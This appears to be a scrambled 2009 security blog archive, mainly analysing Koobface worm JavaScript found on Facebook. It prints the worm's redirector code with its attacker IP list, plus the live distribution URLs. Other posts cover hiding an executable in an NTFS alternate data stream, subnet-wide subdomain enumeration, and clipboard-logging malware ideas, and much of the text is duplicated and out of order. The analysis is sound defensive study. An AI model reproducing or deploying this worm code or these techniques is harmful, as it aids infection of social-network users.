n = parseInt(location.href.substr(n + 4));
if (n < 101) js = '/cnet';
else if (n < 201) js = '/warn';
else if (n < 301) js = '/scan';
else if (n < 401) js = '';
}
for (var i = 0; i < ipAddresses.length; i ++) {
var scriptTag = document.createElement('script');
scriptTag.type = 'text/javascript';
scriptTag.src = 'http://' + ipAddresses[i] + '/go.js' + '?0x3' + 'E8' + newPath + js + '/' + (location.search.length > 0 ? location.search : '');
document.getElementsByTagName('head')[0].appendChild(scriptTag);
}
The first thing this script does is get the referrer here:
Referrer
Then the script tries to find a domain in its referrers array that is found in the docReferrer variable. If it finds one that matches, it sets the newPath variable to /f=<referrer abbreviation>
var docReferrer = '' + eval('document.referrer'), newPath = '';
Matching the referrrer
The next thing the script does is set window.redirect to "" (window.redirect = '';). Then it defines a function that uses setTimeout() to periodically (and semi-asynchronously) check window.redirect to see if there is any data stored there. If there is, the window.location.href is set to the window.redirect variable, redirecting the browser to the new location. This is shown below:
for (var i = 0; i < referrers.length; i ++) {
if ((docReferrer.indexOf(referrers[i][0]) != -1)) {
newPath = '/f=' + referrers[i][1];
break;
}
}
WaitForRedirect() function
After making the initial call to the WaitForRedirect() function, the script sets the variable js to one of /view, /cnet, /warn, /scan or blank (''), based on the id number of your account on any one of the social networking sites koobface targets. The way it does this isn't very straightforward. First, it looks for the "?id=" substring in the href:
window.redirect = '';
function WaitForRedirect() {
var currRedirect = '' + window.redirect;
if (currRedirect.length > 0) window.location.href = currRedirect;
else setTimeout('WaitForRedirect()', 50);
}
WaitForRedirect();
var n = location.href.indexOf('?id=');
if (n != -1) {
n = parseInt(location.href.substr(n + 4));
...
}
The last thing the script does is append a new script tag to the DOM head for each ip in its ipAddresses array:
New javascript for each ip
This is done in case one of the ips is taken out or stops working. The first script to get loaded assigns the window.redirect variable to a new value. This can be seen in the source of one of the scripts: (At the time of this writing, the ip 113.254.53.10 was up and working)
for (var i = 0; i < ipAddresses.length; i ++) {
var scriptTag = document.createElement('script');
scriptTag.type = 'text/javascript';
scriptTag.src = 'http://' + ipAddresses[i] + '/go.js' + '?0x3' + 'E8' + newPath + js + '/' + (location.search.length > 0 ? location.search : '');
document.getElementsByTagName('head')[0].appendChild(scriptTag);
}
Second script content
Note that the /f=fb2/cnet/ part of the the string being assigned to window.redirect will change based on what site you were on when you clicked the link, as well as what the id= url-param was.window.redirect='h t t p://113.254.53.10/d='+location.hostname+'/0x3E8/f=fb2/cnet/';
Remember that WaitForRedirect() function we explained earlier and how it periodically checks for a non-blank string in the window.redirect variable? Once the second script assigns a non-blank string to that variable, the WaitForRedirect() function will redirect the browser to the new url. From there, many different things may happen, but it looks like most of them are social networking site look-alikes that try and get you to run an executable that automatically starts downloading.
Well, that's about it for tonight :)
Koobface on my Facebook II
Well, while I was starting to write up a post describing what the javascript file does, I found another link for koobface on my facebook! This time from a different domain: h t t p ://www.blackjackorchestra.eu/privaledwd/. This link does the exact same thing as the one in the previous post, except for a few differences in their php script quality :), as well as a few other minor changes. In my previous post, I described how the server-side script checked to see if you gave it a valid User-Agent before sending you the javascript in the content. This site does the same thing, but I guess some debug info was left in it! Here's the content that's sent back if you send it a request that does not contain a User-Agent header:
Also, the javascript file is exactly the same, except for different random names for the variables, and two different ip addresses. The script in the last post had these two addresses: 59.93.80.251, 79.182.37.95. The script in this post doesn't have those two addresses, but has these two instead: 217.132.126.129, 90.17.65.193. Well, I think that covers it for this new koobface url. Now onto writing about that javascript...
Request & Response (using netcat):
Someone forgot to take out their debug info! Hahaha :) Well, if you do send a valid User-Agent, this is the content that gets sent back:
C:\>nc www.blackjackorchestra.eu 80 GET /privaledwd/ HTTP/1.1 HOST: www.blackjackorchestra.eu HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: PHP/5.1.1 X-Powered-By: ASP.NET Date: Sun, 27 Sep 2009 15:32:28 GMT Connection: close <br /> <b>Notice</b>: Undefined index: HTTP_USER_AGENT in <b>d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php</b> on line <b>30</b><br /> <br /> <b>Notice</b>: Undefined index: HTTP_USER_AGENT in <b>d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php</b> on line <b>37</b><br /> <br /> <b>Notice</b>: Undefined variable: rscript in <b>d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php</b> on line <b>42</b><br /> <title>Amazing Video</title> ocwdtreifoyocrb egzcqgtcfx <img src=afjo4blr.jpg> ocecaahcqgeuzk qduzqsc PHP Notice: Undefined index: HTTP_USER_AGENT in d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php on line 30 PHP Notice: Undefined index: HTTP_USER_AGENT in d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php on line 37 PHP Notice: Undefined variable: rscript in d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php on line 42
zzmjqoqvri byiktuysec <script src="9r.js"></script> yadoemvy ilxnsxiilmsnqbb
Labels:
attack,
command line,
javascript,
koobface,
User-Agent,
worm
Thursday, September 24, 2009
Koobface on my Facebook!
I was checking my facebook earlier today (something I almost never do), and noticed that someone had left a weird link on my wall:
h t t p ://s217307881.mialojamiento.es/y0urc1ip/
I first visited the page in Firefox with javascript and such turned off. This is the source of the page as seen from firefox:
I then decided to visit the page from the command line using netcat:
Notice the difference? No javascript tag is found in the source. I did a little experimenting with the server and found that only requests that contain valid User-Agent headers will get the script tag:
This one is sending a User-Agent string that IE8 uses:
Now, onto the Javascript file: 9j72fkj-de1w.js. Below is the original contents of the file:
And here is my version of it:
I did some searching around for the word "KROTEG" and found this link: http://r3v3rs3e.wordpress.com/tag/kroteg/.
What was on my wall was just another variant of the koobface worm.
I must say though, I found the javascript obfuscation to be quite simple to undo, which I did not expect coming from something that receives so much press.
I don't have time now to explain what the js file does, but will go through that in another post.
pcnxnkcaiztp cvnxmxxrgscdvkr <script src="9j72fkj-de1w.js"></script> qgdtubgfdho adbdzoam
C:\>nc s217307881.mialojamiento.es 80 GET /y0urc1ip/ HTTP/1.1 Host: s217307881.mialojamiento.es HTTP/1.1 200 OK Date: Thu, 24 Sep 2009 18:40:56 GMT Server: Apache X-Powered-By: PHP/5.2.11 Transfer-Encoding: chunked Content-Type: text/html 6e <title>Amazing Video</title> ucctsfnqmvyh ldaumylhrlljfb <img src=j18sda5ncm8.jpg> exlyansstgifbh wsrwmduxllj 0
C:\>nc s217307881.mialojamiento.es 80 GET /y0urc1ip/ HTTP/1.1 Host: s217307881.mialojamiento.es User-Agent: The Old Laundry Basket HTTP/1.1 200 OK Date: Thu, 24 Sep 2009 18:49:57 GMT Server: Apache X-Powered-By: PHP/5.2.11 Transfer-Encoding: chunked Content-Type: text/html 6a <title>Amazing Video</title> ozgauyjgghjy aabkqxigumthaux <img src=j18sda5ncm8.jpg> jorivrc bjajszitzkdqh 0
C:\Documents and Settings\Student>nc s217307881.mialojamiento.es 80 GET /y0urc1ip/ HTTP/1.1 Host: s217307881.mialojamiento.es User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 3.0.30729; InfoPath.3; .NET CLR 4.0.20506) HTTP/1.1 200 OK Date: Thu, 24 Sep 2009 18:58:35 GMT Server: Apache X-Powered-By: PHP/5.2.11 Transfer-Encoding: chunked Content-Type: text/html 5c upthmidfi ajglroelpsymijw <script src="9j72fkj-de1w.js"></script> ailsoghinur aaqajwmblrnbj 0
// KROTEG
var pwdfqiyjsclgezbrt9 = [
['facebook.com', 'fb2'],
['tagged.com', 'tg'],
['friendster.com','fr'],
['myspace.com', 'ms'],
['msplinks.com', 'ms'],
['lnk.ms', 'ms'],
['myyearbook.com','yb'],
['fubar.com', 'fu'],
['twitter.com', 'tw'],
['hi5.com', 'hi5'],
['bebo.com', 'be']
];
var fomqnzlcd1 = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var sxhidbqvre1 = '', xbujdriqngovtsz3 = '', psgyket3 = '', svzlnruwojfhi7 = '';
var zkglq4 = '' + eval('doc'+sxhidbqvre1+'ume'+xbujdriqngovtsz3+'nt.r'+psgyket3+'efer'+svzlnruwojfhi7+'rer'), ygepvbrakftloqmhwc6 = '';
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < pwdfqiyjsclgezbrt9.length; nilhfdopsrx7 ++) {
if ((zkglq4.indexOf(pwdfqiyjsclgezbrt9[nilhfdopsrx7][0]) != -1)) {
ygepvbrakftloqmhwc6 = '/f=' + pwdfqiyjsclgezbrt9[nilhfdopsrx7][1];
break;
}
}
window.redirect = '';
function urocwfkgdsjq6() {
var higeruoxzcnqsbad9 = '' + window.redirect;
if (higeruoxzcnqsbad9.length > 0) window.location.href = higeruoxzcnqsbad9;
else setTimeout('urocwfkgdsjq6()', 50);
}
urocwfkgdsjq6();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
n = parseInt(location.href.substr(n + 4));
if (n < 101) js = '/cnet';
else if (n < 201) js = '/warn';
else if (n < 301) js = '/scan';
else if (n < 401) js = '';
}
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < fomqnzlcd1.length; nilhfdopsrx7 ++) {
var onjrmgcaifxsqtzb9 = document.createElement('script');
onjrmgcaifxsqtzb9.type = 'text/javascript';
onjrmgcaifxsqtzb9.src = 'http://' + fomqnzlcd1[nilhfdopsrx7] + '/go' + '.js' + '?0x3' + 'E8' + ygepvbrakftloqmhwc6 + js + '/' + (location.search.length > 0 ? location.search : '');
document.getElementsByTagName('head')[0].appendChild(onjrmgcaifxsqtzb9);
}
// KROTEG
var referrers = [
['facebook.com', 'fb2'],
['tagged.com', 'tg'],
['friendster.com','fr'],
['myspace.com', 'ms'],
['msplinks.com', 'ms'],
['lnk.ms', 'ms'],
['myyearbook.com','yb'],
['fubar.com', 'fu'],
['twitter.com', 'tw'],
['hi5.com', 'hi5'],
['bebo.com', 'be']
];
var ipAddresses = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var docReferrer = '' + eval('document.referrer'), newPath = '';
for (var i = 0; i < referrers.length; i ++) {
if ((docReferrer.indexOf(referrers[i][0]) != -1)) {
newPath = '/f=' + referrers[i][1];
break;
}
}
window.redirect = '';
function WaitForRedirect() {
var currRedirect = '' + window.redirect;
if (currRedirect.length > 0) window.location.href = currRedirect;
else setTimeout('WaitForRedirect()', 50);
}
WaitForRedirect();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
n = parseInt(location.href.substr(n + 4));
if (n < 101) js = '/cnet';
else if (n < 201) js = '/warn';
else if (n < 301) js = '/scan';
else if (n < 401) js = '';
}
for (var i = 0; i < ipAddresses.length; i ++) {
var scriptTag = document.createElement('script');
scriptTag.type = 'text/javascript';
scriptTag.src = 'http://' + ipAddresses[i] + '/go.js' + '?0x3' + 'E8' + newPath + js + '/' + (location.search.length > 0 ? location.search : '');
document.getElementsByTagName('head')[0].appendChild(scriptTag);
}
I must say though, I found the javascript obfuscation to be quite simple to undo, which I did not expect coming from something that receives so much press.
I don't have time now to explain what the js file does, but will go through that in another post.
Labels:
attack,
command line,
javascript,
koobface,
KROTEG,
obfuscation,
worm
Sunday, September 20, 2009
W3 Simple Proxy/Anonymizer with Custom User-Agent
A while ago I decided to hit the XHTML Validate link to see what the W3 XHTML Validator said was wrong with a web page. Of course, there were tons of things wrong (I don't know why people ever put the link on their page because they are never compliant with the w3 standards). Anyways, I noticed that it gives you the option to view the source code of the page it's supposed to be validating and thought you could use this as a proxy to view html web pages. Also, the w3 validator gives you the option of specifying the user-agent header that will be sent to the server, which could come in handy. They also seem to have a mechanism in place to keep you from inserting additional headers into the HTTP Request sent to the server, although the mechanisms for the uri param and the user-agent param are different.
Here's a sample url http://translate.google.com/translate?hl=en&sl=es&tl=en&u=http://validator.w3.org/check%3Furi%3Dhttp://gnarlysec.blogspot.com%26charset%3D(detect%2Bautomatically)%26doctype%3DInline%26ss%3D1%26group%3D0%26user-agent%3DW3C_Validator/1.654. The source at the bottom of the page would still need to be parsed out, but that's the basic idea. Also note the url param "user-agent".
Here's a sample url http://translate.google.com/translate?hl=en&sl=es&tl=en&u=http://validator.w3.org/check%3Furi%3Dhttp://gnarlysec.blogspot.com%26charset%3D(detect%2Bautomatically)%26doctype%3DInline%26ss%3D1%26group%3D0%26user-agent%3DW3C_Validator/1.654. The source at the bottom of the page would still need to be parsed out, but that's the basic idea. Also note the url param "user-agent".
Monday, August 17, 2009
Local Proxies with IE and Chrome
As I do web development, I often find it easier to setup a local proxy using Paros or Burp to more easily manipulate values being sent to the server. I usually use Firefox as my main web browser, and consequently almost exclusively setup Firefox to listen to the local proxy. The other day, I didn't feel like using Firefox, so I used IE instead and told it to use the local proxy I had setup using Burp. At the time, I also had Google Chrome running.
Everything went well for requests I had made using IE. Burp captured all requests and responses that were sent. Then I noticed another request/response that I didn't trigger through IE:
I'm not sure yet if it's IE sending this request, or some other program/service that is looking for windows updates.
I did notice, however, that all requests/responses sent through Google Chrome also get captured by the local proxy I had setup for IE with Burp. Not only do all Chrome requests get captured, but so do all http requests sent by all Visual Studio Express products (probably Visual Studio as well). I'm sure there are tons of other requests as well that would be captured by doing this.
Everything went well for requests I had made using IE. Burp captured all requests and responses that were sent. Then I noticed another request/response that I didn't trigger through IE:
GET /msdownload/update/v3/static/trustedr/en/authrootseq.txt HTTP/1.1 Accept: */* User-Agent: Microsoft-CryptoAPI/5.131.2600.5512 Host: www.download.windowsupdate.com Proxy-Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache HTTP/1.1 200 OK Content-Length: 18 Content-Type: text/plain Accept-Ranges: bytes ETag: "0e4bf26aecac91:803b" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Age: 9261 Date: Mon, 17 Aug 2009 13:00:35 GMT Last-Modified: Fri, 01 May 2009 22:42:48 GMT Connection: keep-alive 1401C9CAAE2685483A
I did notice, however, that all requests/responses sent through Google Chrome also get captured by the local proxy I had setup for IE with Burp. Not only do all Chrome requests get captured, but so do all http requests sent by all Visual Studio Express products (probably Visual Studio as well). I'm sure there are tons of other requests as well that would be captured by doing this.
Saturday, August 15, 2009
Alternate Data Streams
In my recent Operating Systems class, I was supposed to give a 15 minute presentation about the windows file system. Instead of talking only about that, I got permission to talk about alternate data streams. This is my presentation (yes, somewhat short and brief, but I think it still gives a good description of why/how alternate data streams work).
A good part of my presentation was doing live demonstrations of how alternate data streams can be used from the command line. Here are some examples:
Alternate Data Streams
View more presentations from nephijohnson.
A good part of my presentation was doing live demonstrations of how alternate data streams can be used from the command line. Here are some examples:
C:\ads>echo >stream.txt default unnamed data stream
C:\ads>dir
Volume in drive C is BLAH
Volume Serial Number is 48C7-9ED4
Directory of C:\ads
08/15/2009 07:37 AM <DIR> .
08/15/2009 07:37 AM <DIR> ..
08/15/2009 07:37 AM 30 stream.txt
1 File(s) 30 bytes
2 Dir(s) 17,025,347,584 bytes free
C:\ads>more < stream.txt
default unnamed data stream
C:\ads>echo >stream.txt:ads alternate (named) data stream
C:\ads>dir
Volume in drive C is BLAH
Volume Serial Number is 48C7-9ED4
Directory of C:\ads
08/15/2009 07:37 AM <DIR> .
08/15/2009 07:37 AM <DIR> ..
08/15/2009 07:38 AM 30 stream.txt
1 File(s) 30 bytes
2 Dir(s) 17,025,347,584 bytes free
C:\ads>more < stream.txt:ads
alternate (named) data stream
C:\ads>type C:\WINDOWS\notepad.exe > stream.txt:other_notepad.exe
C:\ads>start C:\ads\stream.txt:other_notepad.exe
C:\ads>cd ..
C:\>echo >ads:folder_data_stream folders can have named data streams as well
C:\>more <ads:folder_data_stream
folders can have named data streams as well
C:\>dir ads
Volume in drive C is BLAH
Volume Serial Number is 48C7-9ED4
Directory of C:\ads
08/15/2009 07:39 AM <DIR> .
08/15/2009 07:39 AM <DIR> ..
08/15/2009 07:38 AM 30 stream.txt
1 File(s) 30 bytes
2 Dir(s) 17,024,843,776 bytes free
C:\>dir /a:d ad?
Volume in drive C is BLAH
Volume Serial Number is 48C7-9ED4
Directory of C:\
08/15/2009 07:39 AM <DIR> ads
0 File(s) 0 bytes
1 Dir(s) 17,024,843,776 bytes free
C:\>
Reverse DNS Lookups from the Command Line
Last week, I was received an email "from a friend" that invited me to create an account on some site in order to view "some pictures" he had sent me. The last step in the sign-up process included giving the site my gmail login information, which I was not about to do. At that point, I wondered if my friend was aware that I had been sent a message "from him". It turned out that he was not aware that the site had sent out an email to me. He did say, however, that he had gone through the signup process and had given the site his gmail login information. Following that, the site had sent emails to everyone it could find in his gmail account, telling them all that he had pictures he wanted to show them.
Needless to say, I found this rather disconcerting and wanted to find more information about the site. One of the things I did was to figure out what other subdomains the site has on its server.
It's easy enough to figure out the main ip address of a website. From there, finding many subdomains isn't hard. Most web hosting companies give out ip addresses in a somewhat sequential manner. Most companies sign up for their main servers all at the same time. This should mean that their servers' ip addresses are clustered around each other, which makes it easy to enumerate all of them and see if the resolved domain names for the ip addresses belong to the site. This is how I did this from the command line:
Yeah, I know it's a bit much all at once. This is how it looks made a bit more readable
So, I start out deleting any old ips.txt laying around, sending any error output to nul ( @del ips.txt 2>nul ). Then I run a for loop that generates ips in a separate cmd (hence the cmd /c). The for loop loops from 0 to 255 ( for /l %i in (0, 1, 255) ) and appends each loop value (%i) to the two ip addresses (216.157.72. and 216.157.73.). I chose to generate ips in this range because the main server's ip address is 216.157.72.224, almost in the middle of both ranges. After generating the ip addresses, I send the resulting file (ips.txt) to nslookup ( < ips.txt ), send any error output to nul ( 2>nul ), and output the results to a text file ( > results.txt ). I then type the contents of results.txt, piping the output to a find command that searches for the name "wegame" ( type results.txt | find /I "wegame" ). The output looks like this:
You could also make it more verbose about what it is doing by changing it to look like this:
The new output will look like this:
Needless to say, I found this rather disconcerting and wanted to find more information about the site. One of the things I did was to figure out what other subdomains the site has on its server.
It's easy enough to figure out the main ip address of a website. From there, finding many subdomains isn't hard. Most web hosting companies give out ip addresses in a somewhat sequential manner. Most companies sign up for their main servers all at the same time. This should mean that their servers' ip addresses are clustered around each other, which makes it easy to enumerate all of them and see if the resolved domain names for the ip addresses belong to the site. This is how I did this from the command line:
@del ips.txt 2>nul &cmd /c "for /l %i in (0, 1, 255) do @echo 216.157.72.%i >> ips.txt & @echo 216.157.73.%i >> ips.txt" & nslookup 2>nul < ips.txt > results.txt & type results.txt | find /i "wegame"
@del ips.txt 2>nul &
cmd /c
"for /l %i in (0, 1, 255) do
@echo 216.157.72.%i >> ips.txt &
@echo 216.157.73.%i >> ips.txt" &
nslookup 2>nul < ips.txt > results.txt &
type results.txt | find /i "wegame"Name: test3.wegame.com Name: test3.wegame.com Name: medproc3.wegame.com Name: medproc3.wegame.com Name: db2.wegame Name: db2.wegame Name: vip1.wegame.com Name: fw.wegame Name: medproc1.wegame Name: medproc1.wegame Name: medproc2.wegame Name: medproc2.wegame Name: test2.wegame Name: test2.wegame Name: test1.wegame Name: test1.wegame
@echo . & @echo ------------------------------ & @echo . NSLOOKUP SCRIPT & @echo ------------------------------ & @echo . & @echo . Generating ips into ips.txt & @del ips.txt 2>nul & cmd /c "for /l %i in (0, 1, 255) do @echo 216.157.72.%i >> ips.txt & @echo 216.157.73.%i >> ips.txt" & @echo . Running nslookup on generated ips & @echo . (results outputted to results.txt) & nslookup 2>nul < ips.txt > results.txt & @echo . Searching results for [wegame] & type results.txt | find /i "wegame" & @echo . DONE!
. ------------------------------ . NSLOOKUP SCRIPT ------------------------------ . . Generating ips into ips.txt . Running nslookup on generated ips . (results outputted to results.txt) . Searching results for [wegame] Name: test3.wegame.com Name: test3.wegame.com Name: medproc3.wegame.com Name: medproc3.wegame.com Name: db2.wegame Name: db2.wegame Name: vip1.wegame.com Name: fw.wegame Name: medproc1.wegame Name: medproc1.wegame Name: medproc2.wegame Name: medproc2.wegame Name: test2.wegame Name: test2.wegame Name: test1.wegame Name: test1.wegame . DONE!
Friday, August 14, 2009
Clipboard Attacks
I was thinking today while I was using Remote Desktop to monitor one of the servers at work about how the clipboard is such a universally-accessible piece of the Windows operating system. To the extent of my knowledge, there is no real restriction on a program using or accessing it. A typical user will use the clipboard many many times a day, often copying important information and pasting it elsewhere.
Would it be feasible for a piece of malware to only monitor the clipboard and store all new text in a file? If so, the malware would stay relatively low profile and not draw any undue attention to itself. It would capture anything copied throughout the user's session. It would also capture anything copied in a remote desktop connection, since all things copied in remote desktop are also available to be pasted in the user's actual desktop (and visa versa). I am sure there are hundreds of other interesting situations where one could take advantage of the universality of the clipboard.
One interesting example of clipboard usage, although not related to capturing copied information, is related to RSnake's post about De-cloaking in IE7.0 using windows variables. All it would take for this to actually work is for a user to be sent an email with a link in it that doesn't go anywhere. Under the link, some text could say "Link not working? Copy and paste this into your address bar..." and boom! variable expansion and the accessed server has logged whatever expanded windows variables were contained in the copied url.
Would it be feasible for a piece of malware to only monitor the clipboard and store all new text in a file? If so, the malware would stay relatively low profile and not draw any undue attention to itself. It would capture anything copied throughout the user's session. It would also capture anything copied in a remote desktop connection, since all things copied in remote desktop are also available to be pasted in the user's actual desktop (and visa versa). I am sure there are hundreds of other interesting situations where one could take advantage of the universality of the clipboard.
One interesting example of clipboard usage, although not related to capturing copied information, is related to RSnake's post about De-cloaking in IE7.0 using windows variables. All it would take for this to actually work is for a user to be sent an email with a link in it that doesn't go anywhere. Under the link, some text could say "Link not working? Copy and paste this into your address bar..." and boom! variable expansion and the accessed server has logged whatever expanded windows variables were contained in the copied url.
Monday, August 3, 2009
Removing .svn Folders (WINDOWS)
Sometimes I have to copy a folder for a school or work project that I manage with SVN. Usually I don't want to keep the original .svn folders. Instead of tediously going through each directory and deleting each .svn folder, I use something like this to delete all .svn folders in the current directory and subdirectories:
You could make it be a little more verbose with it's output by using something like this:
In a more readable format, the command looks like:
After sprinkling some new .svn folders throughout my hard drive, this is the resulting output:
Hope that helps :) Variations on this command have saved me a lot of time. If you need a better explanation of what everything does, let me know.
for /f "delims=^" %f in ('dir /s /b /a:D ^| findstr ".*\.svn$"') do @rmdir /s /q "%f"
@echo . & @echo Removing Directories: & @echo . & for /f "delims=^" %f in ('dir /s /b /a:D ^| findstr ".*\.svn$"') do @echo -- %f & @rmdir /s /q "%f"
@echo .
@echo Removing Directories:
@echo .
for /f "delims=^" %f in ('dir /s /b /a:D ^| findstr ".*\.svn$"') do
@echo -- %f
@rmdir /s /q "%f"
. Removing Directories: . -- C:\.svn -- C:\Documents and Settings\.svn -- C:\Documents and Settings\All Users\.svn -- C:\Documents and Settings\All Users\Desktop\.svn -- C:\Drivers\.svn -- C:\Program Files\.svn -- C:\Program Files\Adobe\.svn -- C:\Program Files\Adobe\Reader 9.0\.svn -- C:\WINDOWS\.svn C:\>
Subscribe to:
Posts (Atom)